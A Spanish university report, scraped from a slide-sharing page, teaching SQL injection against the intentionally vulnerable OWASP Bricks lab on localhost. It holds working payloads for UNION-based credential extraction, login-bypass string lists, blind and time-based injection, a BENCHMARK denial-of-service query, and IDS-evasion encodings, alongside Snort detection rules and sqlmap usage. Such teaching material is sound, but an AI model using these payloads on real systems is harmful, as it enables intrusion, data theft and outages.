Instalacion de servicios windows, configuracion y aplicacion.Instalacion de servicios windows, configuracion y aplicacion.
Instalacion de servicios windows, configuracion y aplicacion.
 
Webinar Resolucion2335 de 2023 Kubapp.pdf
Webinar Resolucion2335 de 2023 Kubapp.pdfWebinar Resolucion2335 de 2023 Kubapp.pdf
Webinar Resolucion2335 de 2023 Kubapp.pdf
 
SISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVO
SISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVOSISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVO
SISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVO
 

Herramientas y Técnicas de Inyeción SQL

  • 1. Calidad, Seguridad y Auditoría Informática Herramientas y Técnicas de Inyección SQL David Albela Pérez
  • 2.
  • 3. Este obra está bajo una licencia de Creative Commons Reconocimiento-NoComercial 3.0 España.
  • 4.
  • 5. Tabla de Contenidos 1.Introducción.......................................................................................................................................8 2.Que es Inyección SQL.......................................................................................................................8 2.1.Factores de Riesgo.....................................................................................................................8 2.2.Canales de ataque.......................................................................................................................8 2.3.Tipos de Inyección.....................................................................................................................9 3.Entorno de pruebas............................................................................................................................9 3.1.Instalación..................................................................................................................................9 3.2.Contenido de OWASP Bricks..................................................................................................10 4.Inyecciones basadas en errores........................................................................................................11 4.1.Validar inyección SQL.............................................................................................................11 4.2.Obtener el número de columnas de la tabla.............................................................................11 4.3.Añadir consultas......................................................................................................................12 4.4.Obviar las comillas de la consulta original..............................................................................13 4.5.Inyección SQL en formularios de inicio de sesión..................................................................14 5.Recuperación y extracción de información.....................................................................................16 5.1.Parámetros y variables globales del SGBD.............................................................................17 5.2.Funciones y operaciones..........................................................................................................18 5.2.1.Denegación de Servicio....................................................................................................19 5.3.Esquema de la base de datos y extracción de datos.................................................................19 5.3.1.Obtener los nombres de las bases de datos......................................................................20 5.3.2.Obtener el nombre de las tablas de una base de datos.....................................................20 5.3.3.Obtener las columnas de una tabla...................................................................................21 5.3.4.Extracción de los datos de una tabla................................................................................21 6.Inyección SQL Ciega.......................................................................................................................23 6.1.Inyección parcialmente ciega...................................................................................................23 6.1.1.Comprobar si es posible realizar la inyección..................................................................23 6.1.2.Comprobar la versión de MySQL....................................................................................23 6.1.3.Buscar el nombre de la tabla............................................................................................24 6.2.Inyección totalmente ciega......................................................................................................24 6.2.1.Comprobar que es posible realizar la inyección SQL......................................................24 6.2.2.Comprobar versión de MySQL........................................................................................25 6.2.3.Obtener nombres de tablas o columnas............................................................................25 7.Ofuscación de inyecciones SQL......................................................................................................26 7.1.Utilizando los comentarios......................................................................................................26 7.2.Ofuscación con codificación de la URI...................................................................................27 7.3.Trampas o Decoys....................................................................................................................27 7.4.Ofuscación híbrida...................................................................................................................27 7.5.Otros problemas derivados de los IDPS..................................................................................28 8.Herramientas para la automatización de inyección SQL.................................................................28 8.1.SQLMap...................................................................................................................................28 8.1.1.Instalación y ejecución.....................................................................................................28 8.1.2.Fingerprinting con SQLMap............................................................................................29 8.1.3.Recuperación de tablas.....................................................................................................31 8.1.4.Obtener columnas de una tabla........................................................................................31 8.1.5.Extracción de los datos de la tabla users..........................................................................32 8.2.SQLNinja.................................................................................................................................33 8.2.1.Instalación........................................................................................................................33
  • 6. 8.2.2.Configuración...................................................................................................................34 8.2.3.Ejecución..........................................................................................................................34 8.3.The Mole..................................................................................................................................35 8.3.1.Instalación y ejecución.....................................................................................................35 8.3.2.Extracción de datos..........................................................................................................35 8.4.Otras herramientas...................................................................................................................38 8.4.1.Havij.................................................................................................................................38 8.4.2.Pangolin...........................................................................................................................39 8.5.SQLiFuzzer..............................................................................................................................39 9.Inyección SQL en bases de datos NoSQL.......................................................................................40 9.1.Inyección SQL en MongoDB..................................................................................................41 10.Conclusiones..................................................................................................................................41 11.Referencias....................................................................................................................................41
  • 7. 1. Introducción En esta memoria se describen los principales tipos de inyección SQL y se realiza un análisis práctico sobre inyección SQL. En un primer lugar se abordan los diferentes tipo de inyección clásicos y como es posible prevenirlos. Se realiza la instalación de una aplicación vulnerable sobre la que se abordan distintas técnicas de inyección. En segundo lugar se explican diferentes técnicas de ofuscación de inyección SQL para la evasión de reglas en IDS/IPS. Además se describen las posibles debilidades en los sistemas de detección y prevención de ataques. Finalmente se prueban herramientas de inyección SQL como SQLMap1 , SQLNinja2 o The Mole3 . 2. Que es Inyección SQL El término de inyección SQL hace referencia a un conjunto de técnicas para la inserción de consultas SQL no permitidas sobre recursos de un sitio web con contenido en una base de datos con el objeto de extraer información de la base de datos, realizar un análisis de fingerprinting del servidor objetivo o denegar el servicio. La inyección está considerada como el principal tipo de ataque dentro del Top 10 de OWASP4 del 2013. Entre las técnicas más comunes está el uso de comentarios sobre peticiones Get de HTML añadiendo nuevas sentencias de consultas SQL. El error típico del lado del programador es no parametrizar las sentencias de SQL mediante parámetros. Como se verá más adelante, existen otras técnicas como el uso de concatenación con la cláusula UNION, obviar columnas con NULL, concatenación o incluso evasión de firma con el uso de comentarios. 2.1. Factores de Riesgo Una aplicación con posibilidad de realizar inyección SQL tiene el riesgo de ser susceptible a ataques de todo tipo, desde extracción de datos, acceso administrativo a la aplicación, denegación de servicio, distribución de payloads5 maliciosos o incluso realizar pivoting para atacar otros puntos desde el servidor comprometido. 2.2. Canales de ataque Para realizar los ataques se definen tres canales de ataque: • Inband: Los datos se extraen usando el mismo canal de la inyección SQL, es decir, se presentan en la aplicación según se realiza la inyección. 1 SQLMap: http://sqlmap.org 2 SQLNinja: http://sqlninja.sourceforge.net 3 The Mole: http://themole.sourceforge.net 4 Top 10 OWASP: https://www.owasp.org/index.php/Top_10_2013-Top_10 5 SQL Injection Payload: http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload
  • 8. Ejemplo: cuando se muestran los datos de un producto en la aplicación y la inyección permite obtener otros resultados. Es el canal más utilizado en estos ataques. • Out of band: Los datos se recuperan a partir de un canal distinto. Ejemplo: Un formulario de recuperación de contraseña o usuario que envía un correo electrónico con los resultados de la consulta SQL. • Inferencial: No se devuelve ningún resultado de la inyección, pero el atacante es capaz de reconstruir la información a partir de los resultados obtenidos de la consulta SQL. Ejemplo: Consultas que no devuelven los datos, pero que es posible recuperar a partir de los resultados. 2.3. Tipos de Inyección En tipo de inyección dado en una aplicación define la calidad del ataque y la necesidad de realizar o no una automatización más sofisticada que la simple ejecución del mismo. Hay dos tipos de inyección: • Basadas en errores: Es el ataque más fácil de ejecutar. Se devuelven los datos a través del mismo canal de ataque. • Inyecciones ciegas o Blind Injection: Los datos pueden devolverse por un canal out of band o inferencial. Se pueden distinguir dos tipos. ◦ Parcialmente ciegas: se puede inyectar código SQL pero solo se ven ciertos resultados, y no los datos. ◦ Totalmente ciegas: se puede inyectar código SQL pero no se observa ninguna alteración. 3. Entorno de pruebas Para realizar los ejemplos de inyección SQL se realizará la instalación de un entorno de pruebas con la aplicación web OWASP Bricks6 . OWASP Bricks es una aplicación web escrita en PHP y MySQL orientada a los problemas más comunes en el desarrollo de aplicaciones. Incluye problemas típicos como SQL Injection que pueden ser probados en un entorno de pruebas para pentesting con el objetivo de aprendizaje de aspectos a tener en cuenta a la hora de realizar aplicaciones. Otras aplicaciones web muy interesantes para pruebas de intrusión se describen en el blog de Taddong7 . 3.1. Instalación Para la instalación del OWASP Bricks es necesario PHP, MySQL y Apache Web Server. A continuación se describe la instalación para distribuciones basadas en Debian. 1. Instalación de paquetes $ sudo apt-get update $ sudo apt-get install apache2 mysql-server mysql-client php5 php5-mysql 2. Crear base de datos 6 OWASP Bricks: http://sechow.com/bricks/download.html 7 Aplicaciones web para pentesting: http://blog.taddong.com/2011/10/hacking-vulnerable-web-applications.html
  • 9. $ mysql -u root -p mysql> create database bricks; mysql> grant all ON bricks.* TO user_bricks@localhost IDENTIFIED BY 'bricks'; 3. Descargar OWASP Bricks y descomprimir en directorio de apache $ wget http://sourceforge.net/projects/owaspbricks/files/Tuivai%20-%202.2/OWASP%20Bricks%20- %20Tuivai.zip/download -O /var/www/owasp_bricks.zip $ cd /var/www/ $ unzip OWASP%20Bricks%20-%20Tuivai.zip $ cd bricks 4. Editar la configuración de Bricks $ vim /var/www/bricks/LocalSettings.php # Cambiar los siguientes datos $dbuser = 'bricks_user'; //MySQL database username $dbpass = 'bricks'; //MySQL database password $dbname = 'bricks'; //MySQL database name 5. La versión de Bricks utiliza para la conexión la función mysql_connect8 , obsoleta a partir de Php 5.5. Para evitar avisos Deprecated se puede quitar en el fichero php.ini: $ vim /etc/php5/apache2/php.ini error_reporting = E_ALL ^ E_DEPRECATED En el include de Bricks también se puede deshabilitar los reportes de errores: $ vim bricks/includes/MySQLHandler.php ini_set('display_errors',1); 6. Instalar la base de datos Ir al sitio web http://localhost/bricks/config/index.php Pulsar el enlace Setup/reset database. En la documentación oficial9 se encuentra disponible la instalación para Windows utilizando Wamp Server. 3.2. Contenido de OWASP Bricks La aplicación Bricks se divide en tres secciones diferentes: páginas de inicio de sesión, páginas de subir ficheros y páginas de contenido. Para las pruebas se utilizarán las siguientes páginas de contenido y login de Bricks: 8 Mysql_connect de PHP: http://php.net/manual/es/function.mysql-connect.php 9 Instalación OWASP Bricks: http://sechow.com/bricks/docs/installation.html Figura 1: Configuración inicial de Bricks.
  • 10. • content-1: Parámetro entero por GET sin entrecomillar. • content-2: Parámetro string por GET entrecomillado. • login-1: Formulario POST con verificación de usuario y contraseña. • login-3: Formulario POST con verificación de usuario y contraseña entre paréntesis. 4. Inyecciones basadas en errores A continuación se detallan una serie de técnicas básicas de inyección basadas en error. Para ello se utiliza la página de Bricks content-1, la cual obtiene un identificador a través del parámetro de url id. Para la inyección sobre sentencias con entrecomillado se utiliza la página de content-2. 4.1. Validar inyección SQL Las forma más sencilla de comprobar que se puede explotar inyección SQL es añadir una condición a mayores, por ejemplo AND 1=1. Si el resultado de la página original se sigue mostrar, se comprueba forzando que la condición sea falsa AND 1=2. Si la petición no da ningún resultado, la condición añadida está funcionando y el sitio es explotable. Ejemplos: localhost/bricks/content-1/index.php?id=0 and 1=2 4.2. Obtener el número de columnas de la tabla Para buscar el número de columnas se utiliza la cláusula Order by indicando el número de columnas hasta que el resultado de la consulta devuelva un error por columna inexistente. Esto permite realizar nuevas consultas con UNION. Ejemplos: • localhost/bricks/content-1/index.php?id=0 order by 8 Figura 2: La consulta permite añadir más condiciones where, con 1=2 se impide la carga de datos de la consulta original.
  • 11. • localhost/bricks/content-1/index.php?id=0 order by 9 En el ejemplo, la tabla de la página de resultado tiene hasta 8 columnas. 4.3. Añadir consultas Con la cláusula UNION se pueden añadir más consultas. Para ello solo es necesario que la segunda consulta tenga el mismo número de columnas que la consulta original. Las columnas innecesarias se pueden rellenar con NULL, números o caracteres. Para mostrar el resultado de la segunda consulta basta con hacer falta la condición de la primera o recurrir a la cláusula LIMIT. Ejemplos: • Consulta con números o campos a null: localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8 localhost/bricks/content-1/index.php?id=0 UNION SELECT null,null,null,null,null,null,null,null • Como la página muestra solo el primer resultado obtenido, es necesario forzar para que se muestre el resultado de la segunda consulta. Para ello existen dos métodos: ◦ Forzando a falso la condición de la primera consulta: ▪ Con una condición and false localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8 ▪ Con un identificador inexistente Figura 3: Al menos existen 8 columnas en la tabla. Figura 4: No encuentra la columna 9, solo hay 8 columnas en la tabla.
  • 12. localhost/bricks/content-1/index.php?id=9999999999 UNION SELECT 1,2,3,4,5,6,7,8 ◦ Usando la cláusula LIMIT. Requiere comentar el final de línea ya que la consulta original ya incluye esta clausula. localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1,1-- 4.4. Obviar las comillas de la consulta original Los parámetros indicados en la petición HTTP Get suelen añadir a las consultas del código entre comillas. Pero esto no impide que un sitio web sea explotable. La página de Bricks content-2 busca los datos por nombre de usuario entre comillas simples: $sql = "SELECT * FROM users WHERE name='$user'"; El código es vulnerable a una inyección SQL abriendo y cerrando las comillas. Ejemplo: localhost/bricks/content-2/index.php?user=harry' and 1='1 Figura 5: La cláusula LIMIT permite seleccionar que registros mostrar, obviando la consulta original. Figura 6: El valor del atributo name se coloca entre comillas.
  • 13. También es posible cerrar la comilla antes de tiempo y comentar la comilla del código original. Como es necesario que los comentarios de línea incluyan un espacio a continuación se utiliza el símbolo + equivalente al espacio en la codificación de url. 4.5. Inyección SQL en formularios de inicio de sesión Si la consulta de comprobación de credenciales de usuario no está convenientemente parametrizada, la validación de contraseña puede saltarse fácilmente. La siguiente línea de código pertenece a la página de OWASP Bricks login-1/index.php: $sql="SELECT * FROM users WHERE name='$username' and password='$pwd'"; Introduciendo en el formulario de login un nombre de usuario, tom, y en el campo de texto contraseña la cadena ' OR '1'='1 se está forzando a que la consulta sea siempre cierta. Figura 7: Cerrar la comilla del parámetro name y volver a cerrar con una nueva condición en la cláusula WHERE. Figura 8: Los comentarios de linea permiten obviar el cierre de comillas del código original.
  • 14. El ejemplo de la página login-3/index.php incluye los valores entre paréntesis. $sql="SELECT * FROM users WHERE name=('$username') and password=('$pwd') LIMIT 0,1"; Se puede saltar con cadenas de texto que cierren el paréntesis correctamente o terminen con commentario. como ') or 1=('1 para la contraseña o ') or 1=(1)-- - en campo de usuario. Otras cadenas válidas para un formulario de inicio de sesión vulnerable a inyección SQL pueden ser las que se citan a continuación: ' or '1'='1 ' or 'x'='x ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # Figura 9: La página de login acepta comillas, la consulta de validación no está correctamente parametrizada. Figura 10: La cadena ') or 1=('1')-- - en username fuerza a que la consulta sea verdadera a pesar de no conocer la contraseña.
  • 15. or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- 'or'1=1' == and 1=1-- and 1=1 ' or 'one'='one-- ' or 'one'='one ' and 'one'='one ' and 'one'='one-- 1') and '1'='1-- admin' -- admin' # admin'/* or 1=1-- or 1=1# or 1=1/* ) or '1'='1-- ) or ('1'='1-- ' or '1'='1 ' or 'x'='x ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- 'or'1=1' Otras posibles opciones de ataque en los formularios se pueden encontrar en el blog de Zerofreak10 . 5. Recuperación y extracción de información. Hasta ahora se ha visto que si el código no filtra las consultas convenientemente se pueden añadir consultas nuevas con la cláusula UNION. Con las segunda consulta se puede obtener información de la base de datos. Se puede realizar fingerprinting11 utilizando los parámetros y funciones del gestor de base de datos. 10 Blog Zerofreak: http://zerofreak.blogspot.com.es/2012/01/chapter2-basic-sql-injection-with-login.html 11 OS fingerprinting: http://www.forensicswiki.org/wiki/OS_fingerprinting
  • 16. 5.1. Parámetros y variables globales del SGBD Los parámetros en un gestor de base de datos pueden ser útiles para obtener información del gestor de bases de datos e incluso del sistema operativo. MySQL utiliza variables globales para definir información como estado del registro de logs, ficheros utilizados por el gestor y datos de la versión, arquitectura y sistema operativo. Algunos datos interesantes sobre la versión: • @@version: indica la versión de MySQL. • @@version_compile_machine: indica la arquitectura. • @@version_compile_os: provee información de la versión del sistema operativo. Se puede obtener la lista de variables disponibles en MySQL con la sentencia show para mysql- client. mysql> show variables; Se puede acceder a los valores de una variable con la sentencia SELECT y usando @@ delante del nombre de la variable. localhost/bricks/content-1/index.php?id=0 UNION SELECT @@version,@@version_compile_machine,@@version_compile_os,4,5,6,7,8 LIMIT 1,1-- Figura 11: La sentencia show muestra la lista de variables globales de MySQL.
  • 17. 5.2. Funciones y operaciones Los gestores de bases de datos suelen incluir funciones y procedimientos almacenados. En la documentación oficial de MySQL12 está disponible la lista de funciones que devuelven algún tipo de información, como el nombre de la base de datos o el nombre del usuario de la conexión. • database()/schema(): nombre del esquema de la base de datos. • connection_id(): indentificador de la conexión a la base de datos. • user()/system_user()/session_user(): indican el nombre de usuario de la conexión a la base de datos. • localtime(): hora local del sistema. Ejemplo: localhost/bricks/content-1/index.php?id=0 UNION SELECT database(),user(),connection_id(),4,5,6,7,8 LIMIT 1,1-- Ahora se tiene disponible el nombre de la base de datos y el usuario que accede a ella. 12 Documentación MySQL sobre funciones: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html Figura 12: Las variables globales y parámetros del SGBD permiten obtener información relevante. Figura 13: Algunos SGBD tienen funciones que proporcionan información como el nombre de la base de datos o el usuario de conexión.
  • 18. 5.2.1. Denegación de Servicio Algunas funciones del gestor de base de datos permiten realizar operaciones de cálculo. En MySQL se puede llegar a realizar una denegación del servicio sobrecargando la base de datos con las siguientes operaciones: • benchmark(count, expr): Es una función que realiza la expresión expr tantas veces como se indique en count. • SHA1(str)/SHA(str): Calcula el hash para el valor dado en str. Para realizar una consulta varias veces se puede utilizar la consulta SELECT con la función Benchmark: mysql> SELECT BENCHMARK(1000000,SHA1(1)); Concatenando la función es posible colgar la base de datos: BENCHMARK(999999, SHA1(BENCHMARK(999999, SHA1(..., SHA1(SHA1(0x65)))))). Ejemplo: localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECT benchmark(9999999999999999999999999999, sha1(sha1(0x65))),2,3,4,5,6,7,8 Aunque se cierre el navegador, la consulta sigue en ejecución en el servidor ralentizando el funcionamiento de la base de datos. 5.3. Esquema de la base de datos y extracción de datos Para obtener los datos de la base de datos es necesario conocer el esquema. Los SGBD normalmente incluyen un catálogo del sistema o diccionario de datos que proporciona acceso a los metadatos tales como el nombre de la base de datos, tablas, tipo de datos de una columna, o permisos de acceso. En MySQL se puede acceder al catálogo del sistema information_schema13 . 13 Information Schema: http://dev.mysql.com/doc/refman/5.0/es/information-schema.html Figura 14: Cálculo de SHA1 en MySQL repetido varias veces en la misma consulta. Figura 15: El proceso de mysqld ocupa el 100% del hilo de CPU asignado.
  • 19. Es posible obtener los nombre de los esquemas de bases de datos. Conociendo el nombre de la base de datos se puede listar el nombre de las tablas utilizando information_schema, así como el nombre de las columnas de cada tabla. 5.3.1. Obtener los nombres de las bases de datos Utilizando la tabla schemata del catálogo information_schema se puede obtener las bases de datos accesibles por el usuario de la conexión. Como la página solo muestra un único resultado, se utiliza la cláusula GROUP_CONCAT para concatenar los resultados en un única tupla y separados por comas. localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT user(),GROUP_CONCAT(schema_name),3,4,5,6,7,8 from information_schema.schemata 5.3.2. Obtener el nombre de las tablas de una base de datos Para obtener el nombre de las tablas de una la base de datos se usa la tabla tables de information_schemas. Figura 16: Tablas del catálogo information_schema de MySQL. Figura 17: El usuario tiene acceso a tres bases de datos.
  • 20. localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT user(),GROUP_CONCAT(table_name),3,4,5,6,7,8 from information_schema.tables WHERE table_schema='bricks' 5.3.3. Obtener las columnas de una tabla El catálogo information_schema incluye información de las columnas de las tablas en columns. localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT user(),GROUP_CONCAT(column_name),3,4,5,6,7,8 from information_schema.columns WHERE table_name='users' 5.3.4. Extracción de los datos de una tabla Ya se tiene información del nombre de la base de datos, tabla y columnas. Ahora solo es necesario obtener las credenciales de usuario. localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8 from users Figura 18: Tablas de la base de datos bricks. Figura 19: Los nombres de las columnas de la tabla users.
  • 21. La función GROUP_CONTACT también permite incluir varios atributos y caracteres de separación. Los caracteres de separación se deben incluir en código ASCII hexademical. 0x3a0a equivale a los dos puntos y un espacio: localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT GROUP_CONCAT(idusers), GROUP_CONCAT(name,0x3a0a,password), GROUP_CONCAT(email,0x3a0a,ua,0x3a0a,ref,host,0x3a0a,lang), 4,5,6,7,8 from users En caso de que la sentencia sql original entrecomille el valor del parámetros, basta con cerrar la comilla en el valor del parámetro id y terminar la url con el comentario de línea y un espacio (--+). Ejemplo: localhost/bricks/content-1/index.php?id=1' UNION SELECT GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8 from users LIMIT 1,1--+ Figura 20: Extracción de información como nombre, email y contraseña de los usuarios. Figura 21: Obtención de todos los datos de la tabla 'users'.
  • 22. 6. Inyección SQL Ciega El ataque mediante inyección ciega o blind SQL injection no difiere de las técnicas basadas en errores. Pero dado que no se pueden obtener los datos directamente es necesario realizar una serie de técnicas utilizando condicionales. 6.1. Inyección parcialmente ciega Los datos de la consulta no son devueltos, sin embargo es posible saber si algo ocurre recibiendo respuestas como por ejemplo un error de sintaxis. Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando la muestra de datos del usuario: if ($content = mysql_fetch_array($result)) { // echo '<br/>User ID: <b>'. $content['idusers'].'</b><br/><br/>'; // echo 'User name: <b>'. $content['name'].'</b><br/><br/>'; // echo 'E-mail: <b>'. $content['email'].'</b><br/><br/>'; 6.1.1. Comprobar si es posible realizar la inyección localhost/bricks/content-1/index.php?id=0 AND 1=2 6.1.2. Comprobar la versión de MySQL localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF(SUBSTRING(@@version,1,4)=5.1.,1,0)) Figura 23: Comprobar si la versión de MySQL es la 5.1. Figura 22: La condición SQL forzada a no obtener los datos nos indica que no existe el usuario.
  • 23. La sentencia SELECT @@version incluye un condicional para comprobar si la versión de MySQL comienza por “5.1.”. En caso de que la condición sea cierta, devuelve 1 y el resultado de la consulta SQL es verdadera obteniendo el mismo resultado. Si la condición es falta, la versión de MySQL no es la 5.1, el resultado de la consulta SQL es falta obteniendo el error de que el usuario no existe. 6.1.3. Buscar el nombre de la tabla Es posible realizar la búsqueda de tablas por fuerza bruta en la base de datos utilizando la misma técnica condicional. localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')>0,1,0)) Al igual que en el caso de versión de MySQL se puede comprobar la existencia de ciertas tablas o columnas en el esquema de base de datos utilizando la cláusula count y la condición mayor a 0. 6.2. Inyección totalmente ciega Cuando no se observa ningún tipo de alteración en la aplicación pero es posible realizar una inyección SQL. En este caso se sigue utilizando técnicas sobre las condiciones de la consulta original pero utilizando funciones de repetición como Benchmark14 para MySQL. Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando la muestra de datos del usuario y además la línea que indica que no se encontró el usuario en la consulta original. // echo 'Error! User does not exists'; 6.2.1. Comprobar que es posible realizar la inyección SQL localhost/bricks/content-1/index.php?id=0 AND 1=BENCHMARK(199990000,SHA(0x61)) 14 MySQL Benchmark function: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html Figura 24: Al buscar la tabla users en el esquema de la BD no se obtiene ningún error.
  • 24. 6.2.2. Comprobar versión de MySQL localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF(SUBSTRING(@@version,1,1)=5,BENCHMARK(9999999,SHA(0x61)),0)) Si la página tarda en cargar es se cumple la condición deseada. 6.2.3. Obtener nombres de tablas o columnas La misma técnica se puede realizar para buscar nombres de tablas o columnas en el esquema de datos. localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')>0,BENCHMARK(9999999,SHA(0x61)),0)) Figura 25: El tiempo de carga es mayor si la condición se cumple. Figura 26: El tiempo de carga es mayor si la versión de MySQL es igual a 5. Figura 27: Verificar que la tabla users existen con la ejecución de la función benchmark.
  • 25. 7. Ofuscación de inyecciones SQL Los IDS/IPS son sistemas de detección y prevención de ataques. Snort15 Suricata16 y es un sistema de detección de intrusos (IDS) y prevención de intrusos (IPS) open source basados en firmas o reglas. Se puede descargar e instalar reglas gratuitas desde el sitio oficial o comprar las más avanzadas. También permiten personalizar reglas propias. A continuación se muestran reglas sencillas de detección de inyección SQL para Snort: • Detectar comillas o comentarios en la url (incluido en hexadecimal): # Detect ' or -- or in hexadecimal and “#” alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/(%27)|(')|(--)|(%23)|(#)/i"; classtype:Web- application-attack; sid:9099; rev:5;) • Detectar la cláusula UNION en la url (incluido en hexadecimal): # Detect Union alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/union/ix"; classtype:Web-application-attack; sid:9099; rev:5;) Sin embargo, existen técnicas que podría permitir evadir las reglas del IDS si no son lo suficientemente robustas. Además, si el IDS/IPS está mal configurado, hay otros métodos para evadir la detección del ataque. A continuación se describen varias técnicas para la ofuscación de inyecciones SQL. 7.1. Utilizando los comentarios Ejemplos: localhost/bricks/content-1/index.php? id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/GROUP_CONCAT%28name %29,2,3,4,5,6,7,8/**/from/**/users 15 IDS Snort: http://www.snort.org 16 Suricada IDS/IPS: http://suricata-ids.org Figura 28: Evasión de firmas de Snort usando comentarios.
  • 26. 7.2. Ofuscación con codificación de la URI Convertir las cadenas de texto a codificación hexadecimal. Existen sitios web17 donde es posible realizar la codificación y obtener el código codificado para html. Ejemplos: localhost/bricks/content-1/index.php?id=%31%20%41%4e%44%20%31%3d %32%20%55%4e%49%4f%4e%20%53%45%4c %45%43%54%20%40%40%76%65%72%73%69%6f%6e%2c%32%2c%33%2c%34%2c%35%2c %36%2c%37%2c%38 7.3. Trampas o Decoys Los sistemas IDS basados en firmas tiene reglas con patrones de validaciones. Cuando una regla encuentra un paquete que considera potencialmente peligroso alerta o detiene el tráfico. Pero con las sentencias que incluyan comentarios como en el ejemplo: /* <Decoy Keywords> */ SELECT @@version; El comentario incluye se introduce un código trampa o Decoy, que incluye una cadena específica para hacer que salte una alerta del IDPS para ese comentario pero que deje pasar el resto de la consulta. 7.4. Ofuscación híbrida Mezclar la codificación hexadecimal con el uso de Ejemplos: localhost/bricks/content-1/index.php?id=1/**/AND%2f%2a%2a%2f1%3d2/**/UNI %4f%4e SELE%43%54 %40%40version%2c2%2c3%2c4%2c5%2c6%2c7%2c8 17 Text to Hex online converter: http://www.swingnote.com/tools/texttohex.php Figura 29: Ofuscación de la inyección SQL utilizando codificación hexadecimal.
  • 27. 7.5. Otros problemas derivados de los IDPS Los sistemas de detección y prevención de intrusos no son inmunes a los puntos débiles, sin embargo una configuración mal realizada como el uso de conexiones cifradas a través del protocolo TLS/SSL permiten al atacante evadir las reglas de detección de una inyección fácilmente. Otro problema en los IDPS es tener habilitado el uso de compresión en las comunicaciones con el servidor web y no analizar su contenido. Hasta la versión de Snort 2.9.2.018 la opción por defecto de la directiva inspect_zip era no analizar el contenido comprimido. 8. Herramientas para la automatización de inyección SQL Hay varias herramientas para realizar auditorías de inyección SQL, muchas de ellas de software libre e incluidas en las principales distribuciones GNU/Linux para pentesting. A continuación se realiza un análisis práctico con algunas de estas herramientas en el entorno de pruebas de Bricks. 8.1. SQLMap SQLMap es una herramienta open source en línea de comandos que realiza pruebas de inyección SQL automáticas con características como tracking de la base de datos, fingerprinting y extracción de datos. Soporta múltiples sistemas gestores de bases de datos como Oracle, Microsoft SQL Server, MySQL, PostgreSQL, DB2 o SQLite. Utiliza técnicas clásicas basadas en error o inyección ciega. Está escrita en Python con lo cual se puede instalar en cualquier sistema operativo con intérprete de Python. El código fuente se puede obtener de GitHub e incluye un wiki con bastante documentación19 . Destaca por ser una herramienta muy robusta y fácil de manejar. 8.1.1. Instalación y ejecución $ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 18 Snort with inspect_gzip: http://blog.snort.org/2012/01/snort-2920-javascript-normalization.html 19 SQLMap wiki usage: https://github.com/sqlmapproject/sqlmap/wiki/Usage Figura 30: Ofuscación híbrida utilizando comentarios y codificación hexadecimal.
  • 28. $ cd sqlmap-dev $ python sqlmap.py -h 8.1.2. Fingerprinting con SQLMap Para ejecutar SQLMap contra un objetivo se debe indicar la página completa con el recurso incluido. $ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" -f --banner --dbs – users En un primer análisis detecta que posiblemente sea una base de datos MySQL y que el parámetro id puede ser explotable. Figura 31: Ayuda de sqlmap.py. Figura 32: Análisis de un sitio web con SQLMap. Figura 33: Obtención de versión del gestor de BD y de columnas de la tabla.
  • 29. SQLMap realiza comprobaciones de las versiones de MySQL e inyecciones de pruebas con la cláusula UNION y Orber By para obtener el número de columnas de la tabla, encontrando 8 columnas en la consulta. Se comprueban varias técnicas de inyección para determinar cuales son efectivas. En base a las técnicas posibles a realizar, SQLMap realiza fingerprinting para recuperar las versiones instaladas en el servidor, usuario de acceso a la base de datos y los nombres de las bases de datos. Figura 34: SQLMap lanza varias inyecciones SQL de prueba. Figura 35: Fingerprinting y extracción de los esquemas de bases de datos.
